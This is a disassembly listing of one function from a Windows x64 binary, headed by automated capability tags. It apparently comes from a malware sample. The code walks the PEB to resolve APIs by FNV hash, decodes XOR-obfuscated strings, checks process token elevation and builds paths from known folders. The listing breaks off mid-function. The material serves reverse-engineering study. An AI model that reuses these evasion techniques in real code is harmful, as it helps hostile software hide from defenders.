Function at 0x14007cf60
Capabilities:
Access peb ldr_data
Authenticate hmac
Encode data using xor
Get common file path
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1b8]
sub rsp, 0x290
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1400c60c0]
xor rax, rsp
mov qword [rbp + 0x170], rax
xor r15d, r15d
mov dword [rbp - 0x10], r15d
mov rax, qword [0x1400c7678]
test rax, rax
je 0x14007cfd4
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
mov byte [rax + 0x40], cl
lea edx, [rcx + 0x41]
mov rcx, qword [0x1400c7678]
call fcn.14007b770
mov qword [0x1400c7678], r15
mov rax, qword [0x1400c7690]
test rax, rax
je 0x14007d005
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
mov byte [rax + 0x20], cl
lea edx, [rcx + 0x21]
mov rcx, qword [0x1400c7690]
call fcn.14007b770
mov qword [0x1400c7690], r15
mov rax, qword [0x1400c7698]
test rax, rax
je 0x14007d035
mov qword [rax], r15
mov word [rax + 8], r15w
mov byte [rax + 0xa], r15b
mov edx, ntohl
mov rcx, qword [0x1400c7698]
call fcn.14007b770
mov qword [0x1400c7698], r15
mov rax, qword [0x1400c7688]
test rax, rax
je 0x14007d06d
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rcx
mov dword [rax + 0x18], ecx
mov word [rax + 0x1c], cx
mov byte [rax + 0x1e], cl
lea edx, [rcx + 0x1f]
mov rcx, qword [0x1400c7688]
call fcn.14007b770
mov qword [0x1400c7688], r15
mov rax, qword [0x1400c7680]
nop dword [rax + rax]
test rax, rax
je 0x14007d09e
mov dword [rax], r15d
mov word [rax + 4], r15w
mov edx, 6
mov rcx, qword [0x1400c7680]
call fcn.14007b770
mov qword [0x1400c7680], r15
mov ebx, r15d
mov qword [rbp - 0x30], r15
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x30]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14007d0fc
mov dword [rbp - 0x10], r15d
mov dword [rbp - 0x18], 4
lea rax, [rbp - 0x18]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp - 0x10]
lea edx, [r9 + 0x10]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rbp - 0x10]
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x14007d10b
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
test ebx, ebx
jne 0x14007d487
movups xmm0, xmmword [0x1400b7a50]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x1400b7a60]
movups xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [0x1400b7a70]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [0x1400b7a80]
movups xmmword [rbp + 0xb0], xmm1
movsd xmm0, qword [0x1400b7a90]
movsd qword [rbp + 0xc0], xmm0
mov eax, dword [0x1400b7a98]
mov dword [rbp + 0xc8], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
test r10, r10
je 0x14007d1f4
cmp word [rax + 0x48], r15w
je 0x14007d1f4
movsxd rcx, dword ds:[r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x14007d1f4
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14007d1f4
mov ebx, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x77303122
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14007d1ef
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14007d1d0
cmp edx, 0xd3e69fe9
je 0x14007d1f9
test r9d, r9d
jne 0x14007d1b2
mov rax, qword [rax]
jmp 0x14007d180
mov ecx, dword ds:[r11 + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov r9d, dword [rcx + r8*4]
add r9, r10
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14007d36f
movdqa xmm5, xmmword [0x1400b84a0]
movdqa xmm4, xmmword [0x1400b8550]
movdqa xmm6, xmmword [0x1400b84c0]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rbp], xmm0
lea rcx, [rbp + 0x80]
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r15d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r15 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r15d, 8
mov eax, r15d
lea rcx, [rcx + 8]
cmp r15d, 0x48
jl 0x14007d260
cmp eax, 0x4c
jge 0x14007d3b0
movsxd rax, r15d
lea r8, [rbp + 0x80]
add r8, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r15d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r15b
sub al, cl
add al, 0x33
xor byte [r8], al
inc r15d
lea r8, [r8 + 1]
cmp r15d, 0x4c
jl 0x14007d380
lea rcx, [rbp + 0x80]
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
test r10, r10
je 0x14007d454
cmp word ds:[rax + 0x48], 0
je 0x14007d454
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x14007d454
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14007d454
mov ebx, dword [r11 + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0xc2ff9be6
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14007d44f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14007d430
cmp edx, 0x427f4529
je 0x14007d45c
test r9d, r9d
jne 0x14007d410
mov rax, qword [rax]
jmp 0x14007d3d0
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
add rax, r10
mov ecx, 0x7d0
call rax
mov eax, 1
jmp 0x140080701
call fcn.140080a80
movups xmm0, xmmword [str.pFLECYU]
movups xmmword [rsp + 0x38], xmm0
mov eax, dword [0x1400b7bf8]
mov dword [rsp + 0x48], eax
movzx eax, word [0x1400b7bfc]
mov word [rsp + 0x4c], ax
movzx eax, byte [0x1400b7bfe]
mov byte [rsp + 0x4e], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
test r10, r10
je 0x14007d554
nop dword [rax]
cmp word [rax + 0x48], r15w
je 0x14007d554
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14007d554
mov r9d, dword ds:[rbx + 0x18]
test r9d, r9d
je 0x14007d554
mov r11d, dword [rbx + 0x20]
nop dword [rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x20185cb6
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14007d54f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14007d530
cmp edx, 0x1073423a
je 0x14007d55c
test r9d, r9d
jne 0x14007d510
mov rax, qword [rax]
jmp 0x14007d4d0
mov edx, dword ds:[rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, r15d
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x14007d6c6
movdqa xmm5, xmmword [0x1400b84a0]
movdqa xmm4, xmmword [0x1400b8550]
movdqa xmm6, xmmword [0x1400b84c0]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rbp], xmm0
lea rcx, [rsp + 0x38]
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007d5c0
nop
cmp r8d, 0x17
jge 0x14007d710
movsxd rax, r8d
lea r9, [rsp + 0x38]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x14007d6e0
lea rcx, [rsp + 0x38]
call r11
lea rcx, [0x1400c76a0]
nop
call fcn.140022a3c
cmp byte [0x1400c78b0], r15b
jne 0x14007da3f
lea rdi, [0x1400c78b8]
cmp qword [0x1400c78d0], 0xf
cmova rdi, qword [0x1400c78b8]
movups xmm0, xmmword [str.zZBYUSA_IWP.a]
movups xmmword [rsp + 0x38], xmm0
movsd xmm0, qword [str.___35_sjK]
movsd qword [rsp + 0x48], xmm0
movzx eax, byte [0x1400b8418]
mov byte [rsp + 0x50], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
test r10, r10
je 0x14007d7f4
cmp word [rax + 0x48], r15w
je 0x14007d7f4
movsxd rcx, dword ds:[r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x14007d7f4
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14007d7f4
mov ebx, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0xa1751e1a
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14007d7ef
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14007d7d0
cmp edx, 0xf2f78461
je 0x14007d7f9
test r9d, r9d
jne 0x14007d7b2
mov rax, qword [rax]
jmp 0x14007d780
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov r9d, dword [rcx + r8*4]
add r9, r10
cmp esi, 2
jl 0x14007d957
movdqa xmm5, xmmword [0x1400b84a0]
movdqa xmm4, xmmword [0x1400b8550]
movdqa xmm6, xmmword [0x1400b84c0]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rbp], xmm0
lea rcx, [rsp + 0x38]
mov edx, dword [rbp]
nop dword [rax]
movd xmm2, r15d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r15 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r15d, 8
mov eax, r15d
lea rcx, [rcx + 8]
cmp r15d, 0x18
jl 0x14007d850
cmp eax, 0x19
jge 0x14007d9a6
movsxd rax, r15d
lea r8, [rsp + 0x38]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r15d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r15b
sub al, cl
add al, 0x33
xor byte [r8], al
inc r15d
lea r8, [r8 + 1]
cmp r15d, 0x19
jl 0x14007d970
mov rdx, rdi
lea rcx, [rsp + 0x38]
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
test r10, r10
je 0x14007da3a
cmp word [rax + 0x48], 0
je 0x14007da3a
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x14007da3a
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14007da3a
mov ebx, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov ecx, dword [rdx + rbx]
add rcx, r10
mov r8d, 0xfefd45c8
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14007da35
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x14007da10
cmp r8d, 0x6f0d845b
je 0x14007d45c
test r9d, r9d
jne 0x14007d9f3
mov rax, qword [rax]
jmp 0x14007d9c2
mov qword [rbp - 0x20], r15
lea r9, [rbp - 0x20]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400985f0]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov rdx, qword [rbp - 0x20]
lea rcx, [rbp + 0x60]
call fcn.140009660
nop
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], rax
lea rcx, [rbp + 0xf0]
call fcn.140007ea0
nop
lea r8, [rbp + 0x60]
cmp qword [rbp + 0x78], 7
cmova r8, qword [rbp + 0x60]
mov rax, qword [rbp + 0x70]
lea r9, [r8 + rax*2]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xf0]
call fcn.14000ae80
nop
mov qword [rbp + 0x70], r15
cmp qword [rbp + 0x78], 7
jbe 0x14007dafb
mov rax, qword [rbp + 0x60]
mov word [rax], r15w
jmp 0x14007db00
mov word [rbp + 0x60], r15w
mov eax, dword [str.odGYOA9]
mov dword [rbp - 0x18], eax
movzx eax, word [0x1400b7cb4]
mov word [rbp - 0x14], ax
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp - 0x18], 0x5c
xor byte [rbp - 0x17], 0x34
xor byte [rbp - 0x16], 0x35
xor byte [rbp - 0x15], 0x36
xor byte [rbp - 0x14], 0x37
xor byte [rbp - 0x13], 0x38
xor al, 0x39
mov byte [rbp - 0x12], al
lea rax, [rbp - 0x18]
mov r12, 0xffffffffffffffff
mov rdi, r12
inc rdi
cmp byte [rax + rdi], 0
jne 0x14007db46
mov rcx, qword ds:[rbp + 0x30]
mov rdx, qword [rbp + 0x38]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x14007db92
lea rax, [rcx + rdi]
mov qword [rbp + 0x30], rax
lea rbx, [rbp + 0x20]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0x20]
add rbx, rcx
mov r8, rdi
lea rdx, [rbp - 0x18]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rbx], 0
jmp 0x14007dbac
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x18]
movzx r8d, byte [rbp - 0x18]
mov rdx, rdi
lea rcx, [rbp + 0x20]
call fcn.14000e0a0
lea rax, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rax, qword [rbp + 0x20]
mov qword [rbp], rax
mov rax, qword [rbp + 0x30]
mov qword [rbp + 8], rax
call fcn.14007b178
movaps xmm0, xmmword ds:[rbp]
movdqa xmmword [rbp], xmm0
lea r8, [rbp]
mov edx, eax
lea rcx, [rsp + 0x38]
call fcn.140003f80
mov r14d, Ordinal_60
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 7
cmova rcx, qword [rsp + 0x38]
mov r9d, 0xffffffff
lea r8d, [r14 - 0x35]
lea rdx, [rbp]
call fcn.14007b32c
mov edx, eax
test eax, eax
jne 0x14007dc46
mov ebx, dword [rbp + 0x10]
bt ebx, 0xa
jae 0x14007dc3b
mov eax, dword [rbp + 0x14]
cmp eax, 0xa000000c
jne 0x14007dc2d
lea ebx, [rdx + 4]
jmp 0x14007dc63
cmp eax, 0xa0000003
jne 0x14007dc3b
mov ebx, 0xa
jmp 0x14007dc63
and ebx, 0x10
or ebx, 0x20
shr ebx, 4
jmp 0x14007dc63
sub eax, 2
je 0x14007dc5e
sub eax, 1
je 0x14007dc5e
sub eax, 0x32
je 0x14007dc5e
cmp eax, 0x46
je 0x14007dc5e
xor al, al
jmp 0x14007dc60
mov al, 1
movzx ebx, al
test edx, edx
je 0x14007dc75
lea eax, [rbx - 1]
test eax, 0xfffffff7
jne 0x140080746
lea rcx, [rsp + 0x38]
call fcn.1400095e0
nop
cmp ebx, 3
je 0x14007dcf2
lea rax, ds:[rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rax, qword [rbp + 0x20]
mov qword [rbp], rax
mov rax, qword [rbp + 0x30]
mov qword [rbp + 8], rax
call fcn.14007b178
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
lea r8, [rbp]
mov edx, eax
lea rcx, [rsp + 0x38]
call fcn.140003f80
mov r14d, 0x338
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 7
cmova rcx, qword [rsp + 0x38]
call fcn.14007b2b4
shr rax, 0x20
test eax, eax
jne 0x140080758
lea rcx, [rsp + 0x38]
call fcn.1400095e0
movzx eax, word [0x1400b7698]
mov word [rbp - 0x18], ax
cmp byte [0x1400b7699], 0
je 0x14007dd0e
mov byte [rbp - 0x18], 0x5c
xor byte [rbp - 0x17], 0x34
lea rax, [rbp - 0x18]
mov rdi, r12
inc rdi
cmp byte [rax + rdi], 0
jne 0x14007dd15
mov rcx, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x38]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x14007dd5e
lea rax, [rdi + rcx]
mov qword [rbp + 0x30], rax
lea rbx, [rbp + 0x20]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0x20]
add rbx, rcx
mov r8, rdi
lea rdx, [rbp - 0x18]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], 0
jmp 0x14007dd78
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x18]
movzx r8d, byte [rbp - 0x18]
mov rdx, rdi
lea rcx, [rbp + 0x20]
call fcn.14000e0a0
movsd xmm0, qword [str.FGPDYYT__]
movsd qword [rsp + 0x58], xmm0
movzx eax, byte [0x1400b75a0]
mov byte [rsp + 0x58], 0x75
xor byte [rsp + 0x59], 0x34
xor byte [rsp + 0x5a], 0x35
xor byte [rsp + 0x5b], 0x36
xor byte [rsp + 0x5c], 0x37
xor byte [rsp + 0x5d], 0x38
xor byte [rsp + 0x5e], 0x39
xor byte [rsp + 0x5f], 0x3a
xor al, 0x3b
mov byte [rsp + 0x60], al
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], r15
lea rax, [rsp + 0x58]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x14007ddd2
lea rdx, [rsp + 0x58]
lea rcx, [rbp]
call fcn.140003e60
or r14d, 0x40
mov eax, dword [0x1400b75a8]
mov dword [rbp - 0x10], eax
movzx eax, word [0x1400b75ac]
mov word [rbp - 0xc], ax
mov byte [rbp - 0x10], WSAGetLastError
xor byte [rbp - 0xf], 0x34
xor byte [rbp - 0xe], 0x35
xor byte [rbp - 0xd], 0x36
xor al, 0x37
mov byte [rbp - 0xc], al
xor byte [rbp - 0xb], 0x38
mov rdx, qword [rbp + 0x30]
mov qword [rbp - 0x18], rdx
lea rax, [rbp - 0x10]
mov rbx, r12
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14007de30
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rdx
cmp rax, rbx
jb 0x14008076c
lea rax, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rax, qword [rbp + 0x20]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], r15
lea r13, [rdx + rbx]
mov esi, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x38]
cmp r13, rsi
jbe 0x14007df1a
mov rsi, r13
or rsi, 0xf
cmp rsi, rcx
jbe 0x14007ded1
mov rsi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14007ba14
test rax, rax
je 0x14007df9e
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x28]
jmp 0x14007df15
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmp rsi, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x14007def9
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14008073c
jmp 0x14007deaa
test rcx, rcx
je 0x14007df12
nop
call fcn.14007ba14
mov rdi, rax
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x28]
jmp 0x14007df15
mov rdi, r15
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], rsi
mov r8, rdx
mov rdx, rax
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp - 0x18]
add rcx, rdi
mov r8, rbx
lea rdx, [rbp - 0x10]
call sub.VCRUNTIME140.dll_memcpy
mov byte ds:[rdi + r13], 0
bts r14d, 7
mov dword [rbp - 0x10], r14d
lea rdx, [rbp]
lea rcx, [rsp + 0x38]
call fcn.140084ee0
movzx ebx, al
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x14007dfac
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007dfa7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007dfa7
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b770
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x38], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14007dffd
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007dff8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007dff8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b770
nop dword [rax]
test bl, bl
je 0x14007e35f
movsd xmm0, qword [0x1400b8230]
movsd qword [rbp + 0x48], xmm0
mov eax, dword [0x1400b8238]
mov dword [rbp + 0x50], eax
movzx eax, word [0x1400b823c]
mov word [rbp + 0x54], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
test r10, r10
je 0x14007e0b4
cmp word [rax + 0x48], 0
je 0x14007e0b4
movsxd rcx, dword ds:[r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14007e0b4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14007e0b4
mov r11d, dword [rbx + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x9036adbc
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14007e0af
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14007e090
cmp edx, 0x97727dc7
je 0x14007e0b9
test r9d, r9d
jne 0x14007e072
mov rax, qword [rax]
jmp 0x14007e040
mov edx, dword ds:[rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, r15d
cmp dword [reloc.WS2_32.dll_accept], 2
